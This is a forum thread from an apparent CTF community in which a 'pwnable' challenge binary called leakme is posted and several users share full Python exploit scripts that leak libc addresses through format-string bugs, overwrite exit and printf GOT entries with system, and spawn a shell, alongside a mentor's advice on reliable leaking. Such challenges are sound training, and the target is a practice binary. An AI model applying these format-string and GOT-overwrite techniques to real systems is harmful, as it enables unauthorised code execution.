[Pwnable] Do You Even Leak Bruh

Suh peeps! Another pwnable challenge!


###Difficulty
Easy, but could be debatable.


###Objective

Get a shell.


###Rules

  • ASLR should be turned on!
  • Since no libc is provided, all you have to do is pwn the binary locally.
  • Full PoC is accepted as a solution. Just a screenshot of the shell doesn’t mean anything.

###Binary

Since my demo isn’t always enough, big thanks to @exploit for making sure the binary is indeed exploitable.

pwn me


~ gl & hf

11 Likes

thanks for the challenge :thumbsup: here’s my poc

from pwn import *
context(arch='i386', os='linux')

# use libc-database to find offset
# ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu7_i386)
offset__IO_2_1_stdin_ = 0x001b25a0
offset_system = 0x0003ada0
diff = offset__IO_2_1_stdin_ - offset_system

# open the process
r = process("./leakme")
r.recvuntil('Do you even leak bruh?\n')

# create loop by replacing exit@got lower bytes with 0x8530
r.sendline("\x0c\x98\x04\x08%34092x%4$hn")
r.clean()

# leak _IO_2_1_stdin_ address
r.sendline("%2$p")
r.recvline()
_IO_2_1_stdin_ = int(r.recvline().strip(), 16)

# calculate system address
system = _IO_2_1_stdin_ - diff

# replace printf@got to system address
# break up into two writes (low & high bytes)
hsys = (system & 0xffff0000) >> 16 
lsys = system & 0xffff
haddr = "\xfe\x97\x04\x08"
laddr = "\xfc\x97\x04\x08"
if lsys > hsys: hsys, lsys, haddr, laddr = lsys, hsys, laddr, haddr
fmt = "{}{}%{}x%14$hn%{}x%15$hn".format(laddr, haddr, lsys - 8, hsys - lsys)

# get shell
r.sendline(fmt)
r.clean()
r.sendline("sh")
r.sendline("clear")
r.interactive()

yeah i know, it’s bad. i’m still trying to learn how to use pwntools the “right way” :slightly_smiling_face:

3 Likes

@mkhdznfq Congrats! :ok_hand:

Looks like you do leak bruh :wink:

4 Likes

Thank you for the challenge @_py !
I need to practice a lot with pwn challenge i’m pretty noob at it , but I made it :slight_smile:

[spoiler][code]#!/usr/bin/env python2

from pwn import *

EXIT_GOT = 0x0804980c
PRINTF_GOT = 0x080497fc
ENTRY_POINT = 0x8400
SYSTEM_OFFSET = 0x0003c060
_IO_2_1_stdin_offset = 0x001bd580

def overwrite(addr,number):
payload = “”
payload += p32(addr)
payload += “%{}u|%4$hn”.format(number-5)
p.sendline(payload)
p.clean()

def double_overwrite(addr,number):
towritel = (number & 0xFFFF)
towriteh = ((number & 0xFFFF0000)>>16)

payload = ""
payload += p32(addr)
payload += p32(addr+2)
payload += "%{}x|%4$hn".format(towritel-9)
payload += "%{}x|%5$hn".format(towriteh-towritel-1)
p.sendline(payload)
p.clean()

p = process("./leakme")
pause()

overwrite exit by entry point : loop

overwrite(EXIT_GOT,ENTRY_POINT)

leak

p.sendline("%2$p")
p.recvline()
p.recvline()
leaked=int(p.recvline().strip(), 16)
print “Leaked address : ‘{}’”.format(hex(leaked))

p.recvline()

get libc base

libc_base = leaked-_IO_2_1_stdin_offset
print(“Libc base : {}”.format(hex(libc_base)))

system =libc_base + SYSTEM_OFFSET
print(“system : {}”.format(hex(system)))
double_overwrite(PRINTF_GOT,system)
p.sendline(“clear”)
p.interactive()
[/code]
https://asciinema.org/a/JE08jLdGx9tY3FQtSLZZCrUmH
[/spoiler]

2 Likes

Nicely done @neolex! :muscle: A small note to both @neolex and @mkhdznfq:

I noticed you found a libc address at the 2nd stack offset and used that in order to calculate the libc’s base address. You got lucky. As in, sometimes you may not find a libc address not even at the 200th offset, let alone be able to recognize which address you leaked. A more hybrid and safe way to leak is to use the %s format specifier on a GOT entry you placed yourself in your payload. That way, you’ll always know which address you leaked and its offset inside libc (i.e fgets).

2 Likes

Thank you for the note @_py , I tried your way to leak and successed, here is my POC :

[spoiler][code]#!/usr/bin/env python2

from pwn import *

EXIT_GOT = 0x0804980c
PUTS_GOT = 0x08049808
PRINTF_GOT = 0x080497fc
ENTRY_POINT = 0x8400
PUTS_OFFSET = 0x00062710
SYSTEM_OFFSET = 0x0003c060
_IO_2_1_stdin_offset = 0x001bd580

def overwrite(addr,number):
payload = “”
payload += p32(addr)
payload += “%{}u|%4$hn”.format(number-5)
p.sendline(payload)
p.clean()

def double_overwrite(addr,number):
towritel = (number & 0xFFFF)
towriteh = ((number & 0xFFFF0000)>>16)

payload = ""
payload += p32(addr)
payload += p32(addr+2)
payload += "%{}x|%4$hn".format(towritel-9)
payload += "%{}x|%5$hn".format(towriteh-towritel-1)
p.sendline(payload)
p.clean()

p = process("./leakme")

overwrite exit by entry point : loop

overwrite(EXIT_GOT,ENTRY_POINT)

p.sendline(“JUNK”)
p.recv()

leak with %s

payload = p32(PUTS_GOT)
payload += “|%4$s|NEO”
p.sendline(payload)
leaked=u32(p.recvuntil("|NEO").split("|")[1])
print “Leaked puts address : ‘{}’”.format(hex(leaked))
p.recvline()

get libc base

libc_base = leaked-PUTS_OFFSET
print(“Libc base : {}”.format(hex(libc_base)))

system =libc_base + SYSTEM_OFFSET
print(“system : {}”.format(hex(system)))
double_overwrite(PRINTF_GOT,system)
p.sendline(“clear”)
p.interactive()
[/code][/spoiler]

2 Likes

@neolex you’re on fire :wink: I hope you now understood how much more convenient that technique is.

3 Likes

Yes @_py thanks, just to be sure : it does’nt work with exit’s or printf’s got address because exit is not called before i try to leak it ? So the address is not resolved ?

1 Like

Exactly. If you try to leak exit’s address you’ll notice its PLT stub code address. As for printf, it’s wise not to leak its address since it’s placed in weird areas in libc and sometimes you’ll end up with a misaligned libc base, resulting to miscalculations of system’s address.

2 Likes

wow thanks @_py for the note. never knew i could that :joy:

1 Like

@_py are there any tutorials to learn it? I’m really interested in such problems. And also crack me problems…

Does it come under exploit development?

This has nothing to do with crackmes. This field is called exploit development. Though you need reverse engineering knowledge, exploit dev steps it up way more because you have to find bugs by reading assembly.

That being said, exploit dev is a mindset, but you can learn the basic-beginner methology by following LiveOverflow’s videos on YouTube.

By the way, for this certain type of pwnable there’s a write up of mine explaining the internals of format string attacks.

2 Likes

did you delete the Binary ??

I’ve no idea why the link stopped working. Sorry for the inconvenience, the link is now updated.

1 Like

okay Thanks dude :slight_smile: (y)

Good One I really liked this challenge :smiley: and this the way i solved it !

from libformatstr import *
import socket
from pwn import *
import telnetlib

c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(("127.0.0.1",1234))

def recvuntil(sock,delim) :
   	data = ""
    	while not data.endswith(delim):
        	data += sock.recv(1)
   	return data

def interactive(sock):
    	t = telnetlib.Telnet()
    	t.sock = sock
	t.interact()

exitGot = 0x804980c
MAIN = 0x80484fb
lib_start_main = 0x08049810

sysoff =0x3ab30
libc_start = 0x18180


p = FormatStr(50)
p[exitGot] = MAIN
payload = p.payload(4,0)

c.recv(2034)
c.send(payload+"\n")
recvuntil(c,"bruh?")

c.send(p32(lib_start_main)+"%4$s" +"\n")

data = recvuntil(c,"bruh?").split("\n")
libc_base = u32(data[1][4:8]) - libc_start
system = libc_base + sysoff

print "libc base : "+ hex(libc_base)
print "system()  : "+ hex(system)



p = FormatStr()
p[0x080497fc] = system

final = p.payload(4,0)
c.send(final+"\n")

print recvuntil(c,"bruh?")
c.send("sh\n")

interactive(c)


1 Like